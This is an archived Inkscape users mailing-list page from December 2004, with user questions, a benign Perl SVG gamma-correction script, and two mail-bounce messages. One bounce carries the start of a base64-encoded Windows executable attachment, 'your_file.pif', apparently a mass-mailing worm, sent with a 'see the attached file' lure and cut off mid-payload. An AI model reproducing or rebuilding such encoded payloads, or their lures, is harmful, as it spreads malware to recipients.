- Inkscape Users - Inkscape Mailman

outputting gradients
by Ben Crowell 19 Dec '04

19 Dec '04

This bug http://sourceforge.net/tracker/index.php?func=detail&aid=984043&group_id=93… refers to a problem with outputting gradients to postscript. Is there any workaround for this problem? I'm trying to produce PDF output, and have been doing it by doing a Save As, followed by epstopdf.

2 1

Centering odd shapes
by Chris 19 Dec '04

19 Dec '04

Is there any way to center odd shaped objects? (A triangle for example) The current implementation seems to center on the bounding box rather than the average of the vertexes. This makes it impossible to properly center odd shaped objects. Unless I'm missing something? -- // Chris

6 12

Suse 9.1
by aaron Moore 16 Dec '04

16 Dec '04

Hi How can I install inkscape on suse 9.1 I have tried installing gtk+ but to no avail Please help. -- ______________________________________________ Check out the latest SMS services @ http://www.linuxmail.org This allows you to send and receive SMS through your mailbox. Powered by Outblaze

2 1

fonts, converting Illustrator to Inkscape
by Ben Crowell 16 Dec '04

16 Dec '04

I have several hundred Adobe Illustrator files that I'm working on converting to Inkscape. Many of them contain text, generally in Helvetica-9 and -10. Inkscape changes these to Vera-9 and Vera-10, and compared to the corresponding Helvetica fonts, these are about 15% bigger. Now I'm looking at how to handle this conversion, and I want to do it once and do it right, because it's such a large number of files. Basically I have a lot of wishes, which I'm sure are not all mutually compatible, and I'd appreciate any advice on how to get as many of my wishes as possible to come true. The files are illustrations for some textbooks, which I do using pdftex. wish list: 1 The books can be edited and printed (by me or by other people) without using any non-free software or fonts. 2 The text in the figures is close to the size it used to be, and doesn't require too much hand-tweaking. 3 The fonts used in the text (Computer Modern and, presently, Helvetica) look compatible with the fonts used in the figures. 4 The resulting files can be edited on the screen in Inkscape, and they look right. 5 The files look good when people download the PDF and view them on the screen in Acrobat Reader on Windows. (I sell the books in print, and they're also free online as PDF files.) 6 The files look good when my printer prints them as illustrations in my books. 7 The next time I do a new edition, I don't get calls from the printer saying "We couldn't output your document, what's this goofy Vera font?" I also don't get 1000 printed books and then notice that some text was messed up on output. (It's scary, because we do direct digital printing, so a nice looking galley doesn't mean anything -- the actual printing is done on a different device.) So far, I've thought of a few possibilities, and I'm curious if anyone can tell me if they are less than optimal: method A: Write a little Perl script to convert Vera-9 to Vera-7.64, and Vera-10 to Vera-8.50. Output to EPS with the fonts converted to outlines. - accomplishes 1, 2, 4, 7 - doesn't accomplish 3, 5, and 6, because the outlined fonts render badly in PDF viewers and on printers method B: Like A, but don't convert the fonts to outlines. - accomplishes 1, 2, 4, 5, 6 - may accomplish 7, if I can get pdftex to embed Vera - may accomplish 3, but I haven't been able to test it; Vera appears much heavier than Helvetica, but this could be simply due to the limitations of rendering using method A method C Buy a proprietary Helvetica screen font for Linux. - accomplishes 2, 3, 4, 5, 6, 7 (Helvetica is one of the basic 13 fonts supported by all PDF viewers and PS printers.) mehod D Convert all the sans serif in the text from Helvetica to Vera, and get pdftex to embed Vera in the PDF. Don't have Inkscape convert the fonts to outlines. - accomplishes 1, 2, 3, 4, 5, 6 - may or may not accomplish 7...it would worry me

2 1

Perl script for gamma-correcting an SVG file
by Ben Crowell 16 Dec '04

16 Dec '04

Here is a Perl script I wrote for gamma-correcting an SVG file. It handles both line art (regular SVG stuff) and embedded raster images. You must have the ImageMagick "convert" utility installed. The present version lightens and color-corrects an SVG that was created on a Mac so that it looks right on a PC, but it could easily be modified to serve a more general purpose. Once Perl extensions are implemented in Inkscape, I can hook it in there, but for now you just have to run it from the command line. I'm guessing that the long lines are going to get mangled somewhat as this goes out via the mailing list; I'd be happy to stick this in the Inkscape CVS tree if people think that would be appropriate and if I knew where was a good directory to put it. I've only tested this on some of my own files. Please don't trust it blindly on your own files, and let me know if you encounter any bugs. ============================================================================================ #!/usr/bin/perl #---------------------------------------------------------------------------------------------- # gamma_correct_svg # B. Crowell, crowellXX at lightandmatter.com (replace XX with last two digits of current year) # (c) 2004 B. Crowell # This program is available under version 2 of the GPL License, http://www.gnu.org/copyleft/gpl.html, # or, at your option, under the same license as Perl. # For information about this program, scroll down in the source code, or invoke the program # without any command-line arguments. #---------------------------------------------------------------------------------------------- use strict; use MIME::Base64; my $info = <<'INFO'; usage: gamma_correct_svg foo.svg Converts an svg from Mac to PC gamma correction. Handles both line art (regular SVG stuff) and embedded raster images. You must have the ImageMagick "convert" utility installed. INFO undef $/; # slurp whole file my $svg = $ARGV[0]; if (!$svg) { print $info; exit; } die "input file $svg not found" if ! -e $svg; die "input file $svg not readable" if ! -r $svg; open(FILE,"<$svg") or die "error opening file $svg for input, $!"; my $data = <FILE>; close FILE; my %hex = ('0'=>0, '1'=>1, '2'=>2, '3'=>3, '4'=>4, '5'=>5, '6'=>6, '7'=>7, '8'=>8, '9'=>9, 'a'=>10, 'b'=>11, 'c'=>12, 'd'=>13, 'e'=>14, 'f'=>15); my $do_line_art = 1; if (!$do_line_art) { print "Line art will *not* be corrected\n"; } my $did_anything = 0; my @changes = (); my $pat = '(<[^>]*style\s*=\s*")([^"]*)("[^>]*>)'; # <path, <text, <stop, <rect, etc. while ($data=~m/$pat/gi) { my ($before,$style,$after) = ($1,$2,$3); my $pat2 = '((?:fill|stroke|stop\-color)\:\#)([a-zA-Z0-9]{6,6})'; if ($style=~m/$pat2/i) { my $original = "$before$style$after"; $style =~ s/$pat2/$1.correct_rgb($2)/ie; my $changed = "$before$style$after"; if ($changed ne $original && $do_line_art) { push @changes,[$original,$changed]; } } } if (@changes) {$did_anything=1} foreach my $change(@changes) { my $from = $change->[0]; my $to = $change->[1]; $data =~ s/$from/$to/g; } my @raster; my $n = 0; while ($data=~m/\<image\s+(?:\w+\=\"[^"]*\"\s+)*xlink\:href=\"data\:(?:image\/\w+)?\;base64,(([0-9a-zA-Z\+\/]|\s)+\=+)/g) { my $base64 = $1; if ($base64=~m@/9@) { my $binary = decode_base64($base64); my $type = ''; $type='png' if $binary=~m/^\x{89}PNG/; $type='jpg' if $binary=~m/^\x{ff}\x{d8}/; if ($type) { push @raster,[$type,$base64]; ++$n; } } } my $n_rasters = 0; foreach my $raster(@raster) { my $type = $raster->[0]; my $base64 = $raster->[1]; my $binary = decode_base64($base64); my $temp_file = "temp_gamma_correct_svg.$type"; my $temp_file2 = "temp2_gamma_correct_svg.$type"; open(FILE,">$temp_file") or die "error opening file $temp_file for output, $!"; print FILE $binary; close FILE; my $cmd = "convert -level 3\%,97\% -gamma 2.5/2.0/2.1 $temp_file $temp_file2"; system($cmd)==0 or die "command $cmd failed, $?"; open(FILE,"<$temp_file2") or die "error opening file $temp_file2 for input, $!"; my $new_binary = <FILE>; close(FILE); my $new_base64 = encode_base64($new_binary); my $old_base64 = $base64; $old_base64 =~ s/([^a-zA-Z0-9])/\\$1/g; $data =~ s/$old_base64/$new_base64/; $did_anything = 1; ++$n_rasters; unlink $temp_file , $temp_file2; } if ($n_rasters>0) { print "corrected $n_rasters raster images\n"; } if (!$did_anything) { print "no changes made\n"; exit; } # Write the .svg and .bak: my $bak = "$svg.bak"; rename $svg,$bak or die "error renaming file $svg to $bak, $!"; open(FILE,">$svg") or die "error creating new version of file $svg for output, $!"; print FILE $data; close FILE; print "made changes to file $svg\n"; sub correct_rgb { my $rgb = shift; # 3 hex bytes $rgb =~ m/(..)(..)(..)/; my ($r,$g,$b) = ($1,$2,$3); return correct_byte($r).correct_byte($g).correct_byte($b); } sub correct_byte { my $h = shift; # 2 hex digits return fraction_to_hex(correct(hex_to_fraction($h))); } sub correct { my $whiteness = shift; return $whiteness ** (1./2.0); } sub hex_to_fraction { my $hex = shift; $hex =~ m/(.)(.)/; my ($a,$b) = (lc($1),lc($2)); my $frac = (($hex{$a}/16.)+($hex{$b}/256.))*(256./255.) ; #print "hex_to_f, $a,$b,$hex{$a},$hex{$b},$frac\n"; return $frac; } sub fraction_to_hex { my $frac = shift; $frac = $frac*255.; if ($frac<0) {$frac=0} if ($frac>255) {$frac=255} my $hex = uc(sprintf "%02x",$frac); #print "frac_to_hex, $frac, $hex\n"; return $hex; } >From MAILER-DAEMON Fri Dec 17 03:19:28 2004 Date: Fri, 17 Dec 2004 11:34:52 +0000 Message-Id: <10412171134.AA19275722@...340...> Mime-Version: 1.0 From: "Postmaster" <postmaster@...340...> To: <inkscape-user(a)lists.sourceforge.net> X-Mailer: <SMTP32 v8.14> X-Spam-Score: -3.7 (---) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.2 LARGE_HEX BODY: Contains a large block of hexadecimal code -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [Inkscape-user] Undeliverable Mail Sender: inkscape-user-admin(a)lists.sourceforge.net Errors-To: inkscape-user-admin(a)lists.sourceforge.net X-BeenThere: inkscape-user(a)lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk Reply-To: inkscape-user(a)lists.sourceforge.net List-Unsubscribe: <https://lists.sourceforge.net/lists/listinfo/inkscape-user>, <mailto:inkscape-user-request@lists.sourceforge.net?subject=unsubscribe> List-Id: Inkscape User Community <inkscape-user.lists.sourceforge.net> List-Post: <mailto:inkscape-user@lists.sourceforge.net> List-Help: <mailto:inkscape-user-request@lists.sourceforge.net?subject=help> List-Subscribe: <https://lists.sourceforge.net/lists/listinfo/inkscape-user>, <mailto:inkscape-user-request@lists.sourceforge.net?subject=subscribe> List-Archive: <http://sourceforge.net/mailarchive/forum.php?forum=inkscape-user> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit undeliverable to admin@...339... Original message follows. Received: from cmr.ca [82.151.69.97] by ntm3.kookiejar.net with ESMTP (SMTPD32-8.14) id A44F2DF20126; Fri, 17 Dec 2004 11:34:39 +0000 From: inkscape-user(a)lists.sourceforge.net To: gelinas@...339... Subject: Re: Hi Date: Fri, 17 Dec 2004 12:19:09 +0100 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0009_0000006F.00002C1F" X-Priority: 3 X-MSMail-Priority: Normal Message-Id: <200412171134892.SM00198@...339...> This is a multi-part message in MIME format. ------=_NextPart_000_0009_0000006F.00002C1F Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit See the attached file for details. ------=_NextPart_000_0009_0000006F.00002C1F Content-Type: application/octet-stream; name="your_file.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="your_file.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V 4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAAAAAAAAAA4AAPAQsBBgAASAAA APAAAAAAAABCcAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIABAAAE AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/HEBAK8BAAAAYAEA EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA LnBldGl0ZQAAUAEAABAAAAA8AAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAABAAAABg AQAQAAAAAEQAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAcAEAAAQAAAAEAAAAAAAA AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [message truncated] >From MAILER-DAEMON Fri Dec 17 09:11:00 2004 Date: Fri, 17 Dec 2004 20:11:05 +0200 From: Mail Delivery Subsystem <MAILER-DAEMON@...385...> Message-Id: <200412171811.iBHIB5lI025022@...385...> To: <inkscape-user(a)lists.sourceforge.net> MIME-Version: 1.0 Content-Type: multipart/report; report-type=delivery-status; boundary="iBHIB5lI025022.1103307065/iceberg.hellug.gr" Auto-Submitted: auto-generated (failure) X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [Inkscape-user] Returned mail: see transcript for details Sender: inkscape-user-admin(a)lists.sourceforge.net Errors-To: inkscape-user-admin(a)lists.sourceforge.net X-BeenThere: inkscape-user(a)lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk Reply-To: inkscape-user(a)lists.sourceforge.net List-Unsubscribe: <https://lists.sourceforge.net/lists/listinfo/inkscape-user>, <mailto:inkscape-user-request@lists.sourceforge.net?subject=unsubscribe> List-Id: Inkscape User Community <inkscape-user.lists.sourceforge.net> List-Post: <mailto:inkscape-user@lists.sourceforge.net> List-Help: <mailto:inkscape-user-request@lists.sourceforge.net?subject=help> List-Subscribe: <https://lists.sourceforge.net/lists/listinfo/inkscape-user>, <mailto:inkscape-user-request@lists.sourceforge.net?subject=subscribe> List-Archive: <http://sourceforge.net/mailarchive/forum.php?forum=inkscape-user> This is a MIME-encapsulated message --iBHIB5lI025022.1103307065/iceberg.hellug.gr Content-Type: text/plain The original message was received at Fri, 17 Dec 2004 20:10:58 +0200 from puteaux-2-81-57-125-92.fbx.proxad.net [81.57.125.92] ----- The following addresses had permanent fatal errors ----- <simos@...384...> (reason: 550 5.2.1 <simos@...384...>... Mail delivery has been disabled for this user) ----- Transcript of session follows ----- ... while talking to igloo.linux.gr.: >>> DATA <<< 550 5.2.1 <simos@...384...>... Mail delivery has been disabled for this user 550 5.1.1 <simos@...384...>... User unknown <<< 503 5.0.0 Need RCPT (recipient) --iBHIB5lI025022.1103307065/iceberg.hellug.gr Content-Type: message/delivery-status Reporting-MTA: dns; iceberg.hellug.gr Received-From-MTA: DNS; puteaux-2-81-57-125-92.fbx.proxad.net Arrival-Date: Fri, 17 Dec 2004 20:10:58 +0200 Final-Recipient: RFC822; simos@...384... Action: failed Status: 5.2.1 Remote-MTA: DNS; igloo.linux.gr Diagnostic-Code: SMTP; 550 5.2.1 <simos@...384...>... Mail delivery has been disabled for this user Last-Attempt-Date: Fri, 17 Dec 2004 20:11:05 +0200 --iBHIB5lI025022.1103307065/iceberg.hellug.gr Content-Type: text/rfc822-headers Return-Path: <inkscape-user(a)lists.sourceforge.net> Received: from hellug.gr (puteaux-2-81-57-125-92.fbx.proxad.net [81.57.125.92]) by iceberg.hellug.gr (8.13.1/8.13.1/Debian-13) with ESMTP id iBHIAvlI025017 for <simos@...384...>; Fri, 17 Dec 2004 20:10:58 +0200 Message-Id: <200412171810.iBHIAvlI025017@...385...> From: inkscape-user(a)lists.sourceforge.net To: simos@...384... Subject: Mail Delivery (failure simos@...384...) Date: Fri, 17 Dec 2004 18:10:46 +0100 MIME-Version: 1.0 Content-Type: multipart/related; type="multipart/alternative"; boundary="----=_NextPart_000_001B_01C0CA80.6B015D10" X-Priority: 3 X-MSMail-Priority: Normal --iBHIB5lI025022.1103307065/iceberg.hellug.gr--

1 0

Re: applying a common style Re: [Inkscape-devel] Re: Font size after scaling?
by vellum 16 Dec '04

16 Dec '04

Thanks for the detailed response bulia. This is valuable stuff and I will have to ponder. But not tonight-I mean this morning. It is 12:17am here. I will be gone until next Tuesday so you can have some peace until then. Basically I'm very happy with the latest changes. I can now do what I originally could not but there are still these little points that I do not understand. regards, vellum

2 1

Importing and saving
by Andrew Conkling 15 Dec '04

15 Dec '04

Hi, I'm having a little trouble in 0.40. I'm working with taking an SVG, importing another (which renders correctly on its own), and saving it. If I do that, the gradients in the imported SVG do not save correctly and show up various shades of gray. However, if I rechoose the gradient from the list (the same one that it already is), and resave it, it then renders correctly. Is this a bug or expected behaviour? Thanks, Andrew

3 3

RE: [Inkscape-user] Grid and adjustment
by Batista, Facundo 15 Dec '04

15 Dec '04

[bulia byak] #- Snapping is not my area, but I'd say it is a bug, because it was #- indeed intended that # toggles both grid and snapping. I don't know #- who and why changed this. Please submit a bug. Submitted. . Facundo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ADVERTENCIA. La información contenida en este mensaje y cualquier archivo anexo al mismo, son para uso exclusivo del destinatario y pueden contener información confidencial o propietaria, cuya divulgación es sancionada por la ley. Si Ud. No es uno de los destinatarios consignados o la persona responsable de hacer llegar este mensaje a los destinatarios consignados, no está autorizado a divulgar, copiar, distribuir o retener información (o parte de ella) contenida en este mensaje. Por favor notifíquenos respondiendo al remitente, borre el mensaje original y borre las copias (impresas o grabadas en cualquier medio magnético) que pueda haber realizado del mismo. Todas las opiniones contenidas en este mail son propias del autor del mensaje y no necesariamente coinciden con las de Telefónica Comunicaciones Personales S.A. o alguna empresa asociada. Los mensajes electrónicos pueden ser alterados, motivo por el cual Telefónica Comunicaciones Personales S.A. no aceptará ninguna obligación cualquiera sea el resultante de este mensaje. Muchas Gracias.

3 7

icon design
by Lars Boelman 15 Dec '04

15 Dec '04

Hi all, Even though I'm not an active user of Inkscape (yet), I do follow this mailinglist actively and enjoy the current discussion on interface design. There are certainly ways you can judge an interface, as one person pointed out would be hard or impossible to do. Asktog.com has some interesting suggestions for this on the page 'First Principles of Interaction Design' which can be found at http://www.asktog.com/basics/firstPrinciples.html I especially want to stress the importance of Fitts's Law in all graphical interfaces: http://www.asktog.com/basics/firstPrinciples.html#fitts's%20law http://www.asktog.com/columns/022DesignedToGiveFitts.html My impression of the Inkscape interface is that there's no real common sense about how to create the interface among the developers. I hope I'm wrong about this and that there are guidelines for developing for the Inkscape interface. There are several HIGs (Human Interface Guidelines) available for free on the web, who basically tell the same. I'm a real fan of the Mac OS X Aqua desktop environment and think that the Apple HIG are argumented very well. I'd suggest that at least some parts of the Apple and Gnome HIGs should be used as guidelines for developing the Inkscape interface and should be referred to (at least the useful parts of) at the software development documentation. This only is useful when all developers see the relevance of this and consistently apply it. To start with streamlining the interface, I want to suggest to take a look at what Apple and Gnome have to tell about icon design. Though they disagree on the style of icons, they do share a common thought on functionality and consistency. Apple: http://developer.apple.com/documentation/UserExperience/Conceptual/ OSXHIGuidelines/XHIGIcons/chapter_5_section_1.html#//apple_ref/doc/uid/ 20000967 (that URL is far more user-unfriendly than the text itself fortunately) Gnome: http://developer.gnome.org/projects/gup/hig/2.0/icons.html I hope my suggestions were of any use, though I hope even more that it was old news... Regards, Lars Boelman http://lars.boelman.nl

2 1

Re: [Inkscape-user] features ...
by Claus Cyrny 15 Dec '04

15 Dec '04

Hi again, > From what I can tell the type of gradient you are talking about > isn't > available in most vector graphics editors, although I agree that it > would be a nice option to have. One exception I know of is Macromedia > Fireworks MX which refers to it as a "contour gradient". Canvas by http://www.deneba.com/ has some cool gradients, too. > However, if > this isn't part of the SVG spec is seems like it would probably be > difficult to add this type of gradient to Inkscape. An alternative would be to add gradients via bitmap editing. The only drawback is that it is not possible to access single objects anymore. A workaround could be to export as .ai, to convert the file to .psd (Photoshop), and then to re-import it into the Gimp. I haven't tried this yet, though, still working with v 0.39. Cheers, Claus -- http://home.arcor.de/ccyrny/

3 2